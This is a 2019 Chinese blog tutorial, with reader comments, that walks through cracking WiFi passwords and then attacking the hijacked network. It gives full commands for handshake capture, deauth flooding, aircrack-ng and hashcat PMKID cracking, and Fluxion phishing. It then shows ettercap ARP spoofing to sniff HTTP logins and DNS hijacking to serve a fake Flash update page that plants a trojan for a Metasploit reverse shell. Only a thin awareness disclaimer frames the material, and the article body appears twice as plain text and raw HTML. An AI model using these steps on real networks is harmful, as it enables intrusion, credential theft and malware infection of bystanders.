那些年我们破解WiFi的一些事

Author：逍遥子
发布时间：October 23, 2019
23787 views
10 comments
6469 words
Categories：全部

写在前面

在很早之前，就想写一篇与WiFi相关的文章。奈何工作的事情比较多，又静不下心来写。今天终于耐不住手痒，来写一篇关于WiFi安全的文章。希望通过这篇文章能够引起大家对WiFi安全的重视，需要声明的是，本篇文章包含一定的攻击思路，请且行且珍惜。

wifi pass.jpg

分析常用的WiFi破解手段

密码破解大法 顾名思义，就是我们准备一个密码字典，然后通过相关软件捕获WiFi的数据包，通过跑包获取密码。
WiFi钓鱼 我们可以去尝试搭建一个和目标一样的SSID 在通过洪水攻击，使其不能使用。通过宿主连接钓鱼WiFi从而获取密码。
社会工程学 叫声大爷你家WiFi密码是啥来着？

开始正题，来看看拥有一个复杂密码是多么的重要。
基于传统的字典方式破解
前期准备：
usb无线网卡（芯片为3070或8187如果是5Gwifi 需要8122系列）
kali linux(或其他debian系列的)
插入网卡查看网卡状态
执行ifconfig或iwconfig查看状态

可以看到，我们的无线网卡已经成功的加载完成。
问题处理：
1,没有wlan0，这是因为网卡没有挂起，执行ifconfig wlan0 up挂起即可！
2，执行上诉命令报错，执行iwconfig查看有没有无线网卡（一般为wlan0 wlan1等等），如果没有证明网线网卡驱动有问题，请安装驱动。

如果上诉所讲成功执行，恭喜！你可以接着装逼了。

开启monitor模式

执行命令airmon-ng start wlan0

执行完毕后，我们执行ifconfig查看网卡，会变成wlan0mon这样我们的监听模式开启完毕！

扫描周伟的WiFi

airodump-ng wlan0mon

参数说明：
BSSID表示无线AP的MAC地址，PWR表示信号强度，DATA表示无线AP与客户端之间的通信数据，ENC表示加密方式，ESSID表示AP的名称。
我们按ctrl+c停止扫描
扫描.png

捕获数据包

airodump-ng -c 6 --bssid 68:3E:34:CC:AB:0D -w test wlan0mon

参数说明：
-C ：所破WiFi的信道
--Bssid ：目标的Mac地址
-W:保存的数据包名
执行上诉命令后就开始抓包了，在通常情况下，只有新的设备连接到目标WiFi才能抓到包（比如你刚回家，手机连上WiFi而此时黑客正在抓包）所以这个过程是很漫长的。但是时间不等人，我们可以md3洪水攻击，使其目标主机设备全部掉线，这时掉线的设备会尝试从新连接WiFi，从而获得握手包。
如图，获得握手包后，在右上方会有相关的信息，没有的话证明没有抓到。
握手包.png
此时，我们回到root目录，就会发现我们抓的包。

执行密码破解

方式一利用aircrack-ng破解

命令如下：

aircrack-ng -w /root/zidian/wordlist.txt /root/test-01.cap

注意：wordlist.txt为我们的密码字典

成功破解密码！

方式二利用ESWA进行破解破解

ESWA是windows平台下的一款软件，可以利用CPU和GPU加速破解，效率比aircrack要好。

利用wifite破解

在终端执行wifite一键式破解到家（支持wep 密码破解两种）推荐新手使用！

基于wifi钓鱼获取密码

利用Fluxion获取WiFi密码

视频演示

文章不存在，或文章是加密、私密文章

esp8266 WiFi攻击

登录在浏览器中输入ip地址192.168.4.1视频演示使用教程扫描网络伪造ssid点击ssids添加WiFi名称...

一种新的攻击手段 PMKID Hashcat Attack

2018年 hachcat 的作者揭露了一种新的攻击方法，这种方法只需要单个数据包，而且也不需要任何的客户端连接到我们的目标 AP，即使有客户端已连接，也不需要我们向它们发送 deauth 帧，在攻击者和客户端之间没有交互，只存在攻击者和 AP 之间的交互。如果路由器是可被攻击的，那么是几乎可以立刻完成攻击的。当有人正在关联时，有大量的现代路由器会在 AP 自己发送的EAPOL的第一帧后附加一个可选字段，也就是所谓的 PMKID：

01 Install Hxctools & Hashcat

git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
make install

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
make install

02 开启网卡为监听模式

airmon-ng start wlan0

03 获取PMKID

hcxdumptool -i wlan1mon -o galleria.pcapng --enable__status=1

04 转变为Hashcat所支持的模块

hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapng

05 利用Hashcat跑出密码

hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'

破解WiFi能干什么？

如果你仅仅是认为，别人破解了你家的无线WiFi密码是为了蹭网。那么你就大错特错，因为这才是无线渗透的第一步。

获取你的输入密码

注：此攻击仅针对http协议的网站，成功率100%。对于https先将其转为http。所以建议大家访问网站时，先看看网站的https是否正常。

：先编辑配置文件

vim/etc/ettercap/etter.conf

去掉前面的#号

#if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

ettercap

开启ARP欺骗

arpspoof -t 目标 网关 -i 设备

截取密码

ettercap -Tq -i wlan0

pass
如图，我们可以看到目标网址为192.168.123.1用户名为admin密码为admin

获取目标浏览的图片

在终端执行ettercap -G启动ettercap的图形界面
点击打开后右上选择Sniff选项里的Unified sniffing（嗅探模式）或者Ctrl＋U设置好要嗅探的网卡（一般都是wlan0），开始嗅探。
嗅探局域网内的所有存活主机，选择Hosts下拉选项里的Hosts list选项。
开启中间人监听模式，将要监听的两端分别添加到Target1、Target2，然后选择mitm下拉选项里的arp posoning选项，勾选sniff remote connections（嗅探并保持原连接状态）点击确定。
ettercap
这样别人在浏览网页时，我们即可看到对方浏览的图片。当然当其发朋友圈时，所用的图片也可以截取。
中间体

进行dns劫持

首先我们先添加一条dns解析
编辑文件 vim /etc/ettercap/etter.dns
dns
这里我们将百度的DNS解析到我们kali的本机ip192.168.123.66
启动Apache(kali默认安装)

service apache2 start

然后，我们在写一个页面放到var/www/html
不会写，ok这里提供一个！

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>艾哈！度娘奶！</title>
</head>

<body>
<div style="text-align: center"><img src="img.jpg" width="254" height="220" alt=""/></div>
</body>
</html>

然后在var/www/html下面放一个img.jpg即可。
在根据上一步，启动ettercap 配置网卡，以及目标。在返回到Plugins选择dns模块
dns
开始攻击，然后当目标访问www.baidu.com效果如下：

baidu
这不，不就是个恶搞页面吗？这你就想错了。我们可以利用dns劫持诱导对方下载我们的木马。如下图我们可以利用httrack爬一个关于Flash更新页面。

手机端效果

通过点击下载，即可下载相应的shell。配合msf得到反弹。
附件下载：

未完待续……

版权属于：逍遥子大表哥

本文链接：https://blog.bbskali.cn/1444.html

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。

Kali笔记一键关注

Last modification：October 28, 2019

正在沿街乞讨中……

10 comments

Alex 中国上海
March 26th, 2022 at 02:24 pm

该评论仅登录用户及评论双方可见

Reply
1. 逍遥子 中国天津
  March 26th, 2022 at 03:05 pm
  
  @Alex
  
  你好 https://blog.bbskali.cn/ad/bj.jpg
  
  Reply
醒 GOOGLE.COM
November 26th, 2019 at 11:37 am

大佬，文中的字典能分享一下吗

Reply
王小哲 中国北京
October 28th, 2019 at 06:46 pm

第二个视频包损坏了

Reply
1. 逍遥子 中国北京
  October 28th, 2019 at 06:56 pm
  
  @王小哲
  
  视频格式问题，手机上不支持解析。用电脑打开或者看微信公众号中的文章。
  
  Reply
伟哥 中国江苏镇江
October 25th, 2019 at 07:03 pm

前辈果然厉害！！

Reply
1. 逍遥子 中国江苏扬州
  October 26th, 2019 at 10:11 am
  
  @伟哥
  
  谦虚???
  
  Reply
  1. 伟哥 中国山东青岛
    October 28th, 2019 at 10:35 am
    
    @逍遥子
    
    下一个是不是就是JS注入了
    
    Reply
    
    逍遥子 中国北京
    October 28th, 2019 at 06:56 pm
    
    @伟哥
    
    已更新！
    
    Reply
repostone 中国湖北武汉
October 24th, 2019 at 04:36 pm

非技术的路过。

Reply

妥当个哈狗
大佬请教一下，我一台普通的pc机，2块1t的硬盘，bios设置...
很无语
请问最后一步怎么修改VUE呀
xxxyyy
抖音那个现在是不是失效了，能下载不能播放，博主有空再验证一下呗
Kevin's Space
我改天试一下，现在我是传到网上的一些平台，倒也快速
Kevin's Space
这动环监控不会是你手搓的吧？大佬！

那些年我们破解WiFi的一些事

逍遥子 • 2019 年 10 月 23 日

<h1>写在前面</h1><blockquote>在很早之前，就想写一篇与WiFi相关的文章。奈何工作的事情比较多，又静不下心来写。今天终于耐不住手痒，来写一篇关于WiFi安全的文章。希望通过这篇文章能够引起大家对WiFi安全的重视，需要声明的是，本篇文章包含一定的攻击思路，请且行且珍惜。</blockquote><p><img src="https://blog.bbskali.cn/usr/uploads/2019/10/2058538611.jpg" alt="wifi pass.jpg" title="wifi pass.jpg" style=""></p><h1>分析常用的WiFi破解手段</h1><ul><li><strong>密码破解大法</strong> 顾名思义，就是我们准备一个密码字典，然后通过相关软件捕获WiFi的数据包，通过跑包获取密码。</li><li><strong>WiFi钓鱼</strong> 我们可以去尝试搭建一个和目标一样的SSID 在通过洪水攻击，使其不能使用。通过宿主连接钓鱼WiFi从而获取密码。</li><li><p><strong>社会工程学</strong> 叫声<code>大爷</code>你家WiFi密码是啥来着？<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/3821102751.jpg" alt="pass.jpg" title="pass.jpg" style=""><br>开始正题，来看看拥有一个复杂密码是多么的重要。<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/240146033.gif" alt="zb.gif" title="zb.gif" style=""></p><h1>基于传统的字典方式破解</h1><h3>前期准备：</h3></li><li>usb无线网卡（芯片为3070或8187如果是5Gwifi 需要8122系列）</li><li><p>kali linux(或其他debian系列的)</p><h3>插入网卡查看网卡状态</h3><p>执行<code>ifconfig</code>或<code>iwconfig</code>查看状态<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/3876681553.png" alt="ifconfig.png" title="ifconfig.png" style=""><br>可以看到，我们的无线网卡已经成功的加载完成。<br><strong>问题处理：</strong></p></li><li>1,没有<code>wlan0</code>，这是因为网卡没有挂起，执行<code>ifconfig wlan0 up</code>挂起即可！</li><li>2，执行上诉命令报错， 执行<code>iwconfig</code>查看有没有无线网卡（一般为wlan0 wlan1等等），如果没有证明网线网卡驱动有问题，请安装驱动。</li></ul><p>如果上诉所讲成功执行，恭喜！你可以接着装逼了。</p><h3>开启monitor模式</h3><p>执行命令<code>airmon-ng start wlan0</code><br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/3842554776.png" alt="mon.png" title="mon.png" style=""><br>执行完毕后，我们执行<code>ifconfig</code>查看网卡，会变成<code>wlan0mon</code>这样我们的监听模式开启完毕！</p><h3>扫描周伟的WiFi</h3><pre><code class="lang-shell">airodump-ng wlan0mon</code></pre><p><strong>参数说明：</strong><br>BSSID表示无线AP的MAC地址，PWR表示信号强度，DATA表示无线AP与客户端之间的通信数据，ENC表示加密方式，ESSID表示AP的名称。<br>我们按<code>ctrl+c</code>停止扫描<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/4095056224.png" alt="扫描.png" title="扫描.png" style=""></p><h3>捕获数据包</h3><pre><code class="lang-shell">airodump-ng -c 6 --bssid 68:3E:34:CC:AB:0D -w test wlan0mon</code></pre><p><strong>参数说明：</strong><br><code>-C</code> ：所破WiFi的信道<br><code>--Bssid</code> ：目标的Mac地址<br><code>-W</code>:保存的数据包名<br>执行上诉命令后就开始抓包了，在通常情况下，只有新的设备连接到目标WiFi才能抓到包（比如你刚回家，手机连上WiFi而此时黑客正在抓包）所以这个过程是很漫长的。但是时间不等人，我们可以<code>md3</code>洪水攻击，使其目标主机设备全部掉线，这时掉线的设备会尝试从新连接WiFi，从而获得握手包。<br>如图，获得握手包后，在右上方会有相关的信息，没有的话证明没有抓到。<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/1246455394.png" alt="握手包.png" title="握手包.png" style=""><br>此时，我们回到<code>root</code>目录，就会发现我们抓的包。<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/2404884569.png" alt="cap.png" title="cap.png" style=""></p><h3>执行密码破解</h3><h3>方式一 利用aircrack-ng破解</h3><p>命令如下：</p><pre><code class="lang-shell">aircrack-ng -w /root/zidian/wordlist.txt /root/test-01.cap</code></pre><p>注意：wordlist.txt为我们的密码字典<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/2593818282.png" alt="success.png" title="success.png" style=""><br>成功破解密码！</p><h3>方式二 利用ESWA进行破解破解</h3><p><code>ESWA</code>是windows平台下的一款软件，可以利用CPU和GPU加速破解，效率比aircrack要好。<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/3220776044.png" alt="succ.png" title="succ.png" style=""></p><h1>利用wifite破解</h1><p>在终端执行<code>wifite</code>一键式破解到家（支持wep 密码破解两种）推荐新手使用！<br><video src="http://js.bbskali.cn/wifite.mp4" style="background-image:url(https://blog.bbskali.cn/usr/uploads/2019/10/2058538611.jpg);background-size: cover;"></video></p><h1>基于wifi钓鱼获取密码</h1><p>利用Fluxion获取WiFi密码</p><h3>视频演示</h3><p><video src="http://js.bbskali.cn/fluxion.mp4" style="background-image:url(https://blog.bbskali.cn/usr/uploads/2018/07/2276940618.png);background-size: cover;"></video></p><h3>相关文章</h3><p><div class="preview">
<div class="post-inser post box-shadow-wrap-normal">
<a href="" target="_blank" class="post_inser_a no-external-link no-underline-link">

<div class="inner-content" style="margin-left: 10px;">
<p class="inser-title">文章不存在，或文章是加密、私密文章</p>
<div class="inster-summary text-muted">

</div>
</div>
</a>

</div>

</div><br><div class="preview">
<div class="post-inser post box-shadow-wrap-normal">
<a href="https://blog.bbskali.cn/1084.html" target="_blank" class="post_inser_a no-external-link no-underline-link">
<div class="inner-image bg" style="background-image: url(https://blog.bbskali.cn/usr/uploads/2019/04/508826479.jpg);background-size: cover;"></div>

<div class="inner-content" >
<p class="inser-title">esp8266 WiFi攻击</p>
<div class="inster-summary text-muted">
登录在浏览器中输入ip地址192.168.4.1视频演示使用教程扫描网络伪造ssid点击ssids添加WiFi名称...
</div>
</div>
</a>

</div>

</div></p><h1>一种新的攻击手段 PMKID Hashcat Attack</h1><p>2018年 hachcat 的作者揭露了一种新的攻击方法，这种方法只需要单个数据包，而且也不需要任何的客户端连接到我们的目标 AP，即使有客户端已连接，也不需要我们向它们发送 deauth 帧，在攻击者和客户端之间没有交互，只存在攻击者和 AP 之间的交互。如果路由器是可被攻击的，那么是几乎可以立刻完成攻击的。当有人正在关联时，有大量的现代路由器会在 AP 自己发送的EAPOL的第一帧后附加一个可选字段，也就是所谓的 PMKID：</p><h3>01 Install Hxctools & Hashcat</h3><pre><code class="lang-shell">git clone https://github.com/ZerBea/hcxdumptool.git
cd hcxdumptool
make
make install

git clone https://github.com/ZerBea/hcxtools.git
cd hcxtools
make
make install</code></pre><h3>02 开启网卡为监听模式</h3><pre><code class="lang-shell">airmon-ng start wlan0</code></pre><h3>03 获取PMKID</h3><pre><code class="lang-shell">hcxdumptool -i wlan1mon -o galleria.pcapng --enable__status=1</code></pre><p><img src="https://blog.bbskali.cn/usr/uploads/2019/10/4243424589.png" alt="pmkid.png" title="pmkid.png" style=""></p><h3>04 转变为Hashcat所支持的模块</h3><pre><code class="lang-shell">hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapng</code></pre><p><img src="https://blog.bbskali.cn/usr/uploads/2019/10/1345674109.png" alt="pm.png" title="pm.png" style=""></p><h3>05 利用Hashcat跑出密码</h3><pre><code class="lang-shell">hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'</code></pre><p><img src="https://blog.bbskali.cn/usr/uploads/2019/10/2742188882.png" alt="007.png" title="007.png" style=""></p><h1>破解WiFi能干什么？</h1><p>如果你仅仅是认为，别人破解了你家的无线WiFi密码是为了蹭网。那么你就大错特错，因为这才是无线渗透的第一步。</p><h2>获取你的输入密码</h2><p><strong>注：</strong>此攻击仅针对<code>http</code>协议的网站，成功率100%。对于<code>https</code>先将其转为<code>http</code>。所以建议大家访问网站时，先看看网站的<code>https</code>是否正常。</p><h3>：先编辑配置文件</h3><pre><code class="lang-shell">vim/etc/ettercap/etter.conf</code></pre><p>去掉前面的<code>#</code>号</p><pre><code class="lang-shell">#if you use iptables:
#redir_command_on = &quot;iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport&quot;
#redir_command_off = &quot;iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport&quot;</code></pre><p><img src="https://niu.bbskali.cn/44f933cc80f3ed77703aa7816158e6ff" alt="ettercap" title="ettercap" style=""></p><h3>开启ARP欺骗</h3><pre><code class="lang-shell">arpspoof -t 目标 网关 -i 设备</code></pre><h3>截取密码</h3><pre><code class="lang-shell">ettercap -Tq -i wlan0</code></pre><p><img src="https://niu.bbskali.cn/c61d208f822005b73220bba703f40b1d" alt="pass" title="pass" style=""><br>如图，我们可以看到目标网址为<code>192.168.123.1</code>用户名为<code>admin</code>密码为<code>admin</code></p><h2>获取目标浏览的图片</h2><p>在终端执行<code>ettercap -G</code>启动ettercap的图形界面<br>点击打开后右上选择<code>Sniff</code>选项里的<code>Unified sniffing</code>（嗅探模式）或者Ctrl＋U设置好要嗅探的网卡（一般都是wlan0），开始嗅探。<br>嗅探局域网内的所有存活主机，选择Hosts下拉选项里的<code>Hosts list</code>选项。<br>开启中间人监听模式，将要监听的两端分别添加到<code>Target1</code>、<code>Target2</code>，然后选择<code>mitm</code>下拉选项里的<code>arp posoning</code>选项 ，勾选<code>sniff remote connections</code>（嗅探并保持原连接状态）点击确定。<br><img src="https://niu.bbskali.cn/267eec9214bdaf37f98d77dfc9a60955" alt="ettercap" title="ettercap" style=""><br>这样别人在浏览网页时，我们即可看到对方浏览的图片。当然当其发朋友圈时，所用的图片也可以截取。<br><img src="https://niu.bbskali.cn/62274ffc5b609378b2445c44c7535a90" alt="中间体" title="中间体" style=""></p><h1>进行dns劫持</h1><p>首先我们先添加一条dns解析<br>编辑文件 <code>vim /etc/ettercap/etter.dns</code><br><img src="https://niu.bbskali.cn/f5592b49241992164af3f56d7c3207ea" alt="dns" title="dns" style=""><br>这里我们将百度的DNS解析到我们kali的本机ip<code>192.168.123.66</code><br>启动<code>Apache</code>(kali默认安装)</p><pre><code class="lang-shell">service apache2 start</code></pre><p>然后，我们在写一个页面放到<code>var/www/html</code><br>不会写，ok这里提供一个！</p><pre><code class="lang-html">&lt;!doctype html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;title&gt;艾哈！度娘奶！&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
&lt;div style=&quot;text-align: center&quot;&gt;&lt;img src=&quot;img.jpg&quot; width=&quot;254&quot; height=&quot;220&quot; alt=&quot;&quot;/&gt;&lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre><p>然后在<code>var/www/html</code>下面放一个<code>img.jpg</code>即可。<br>在根据上一步，启动<code>ettercap</code> 配置网卡，以及目标。在返回到<code>Plugins</code>选择<code>dns模块</code><br><img src="https://niu.bbskali.cn/52511a1968b069f9613dc9df3224c0d6" alt="dns" title="dns" style=""><br>开始攻击，然后当目标访问<code>www.baidu.com</code>效果如下：</p><p><img src="https://niu.bbskali.cn/b7f5d8f204d521a701a444787086e4f0" alt="baidu" title="baidu" style=""><br>这不，不就是个恶搞页面吗？这你就想错了。我们可以利用dns劫持诱导对方下载我们的木马。如下图我们可以利用<code>httrack</code>爬一个关于<code>Flash</code>更新页面。<br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/4098304556.png" alt="flash.png" title="flash.png" style=""><br><strong>手机端效果</strong><br><img src="https://blog.bbskali.cn/usr/uploads/2019/10/627178050.png" alt="sj.png" title="sj.png" style=""><br>通过点击下载，即可下载相应的shell。配合msf得到反弹。<br><strong>附件下载：</strong><br><button class=" btn m-b-xs btn-info btn-addon" onclick="window.open('https://blog.bbskali.cn/usr/uploads/2019/10/1476718661.zip','_blank')"><i class="glyphicon glyphicon-arrow-down"></i>下载附件</button><br> <img src="https://blog.bbskali.cn/usr/themes/handsome/assets/img/emotion/twemoji/sweat.png" class="emotion-twemoji"> </p><p><strong><code>未完待续……</code></strong> <img src="https://blog.bbskali.cn/usr/themes/handsome/assets/img/emotion/aru/flower.png" class="emotion-aru"></p><hr class="content-copyright" style="margin-top:50px" /><div class="post-copyright" style="font-style:normal"> <p class="iconfont-copyright"><i class="glyphicon glyphicon-copyright-mark"></i></p><p class="content-copyright">版权属于：逍遥子大表哥</p><p class="content-copyright">本文链接：<a class="content-copyright" href="https://blog.bbskali.cn/1444.html">https://blog.bbskali.cn/1444.html</a></p><p class="content-copyright">按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。</p></div>

写在前面

分析常用的WiFi破解手段

基于传统的字典方式破解

前期准备：

插入网卡查看网卡状态

开启monitor模式

扫描周伟的WiFi

捕获数据包

执行密码破解

方式一 利用aircrack-ng破解

方式二 利用ESWA进行破解破解

利用wifite破解

基于wifi钓鱼获取密码

视频演示

相关文章

一种新的攻击手段 PMKID Hashcat Attack

01 Install Hxctools & Hashcat

02 开启网卡为监听模式

03 获取PMKID

04 转变为Hashcat所支持的模块

05 利用Hashcat跑出密码

破解WiFi能干什么？

获取你的输入密码

：先编辑配置文件

开启ARP欺骗

截取密码

获取目标浏览的图片

进行dns劫持

Leave a Comment Cancel reply 请输入正确的邮箱，以便收到回复!

10 comments

那些年我们破解WiFi的一些事

方式一利用aircrack-ng破解

方式二利用ESWA进行破解破解

Leave a Comment Cancel reply
请输入正确的邮箱，以便收到回复!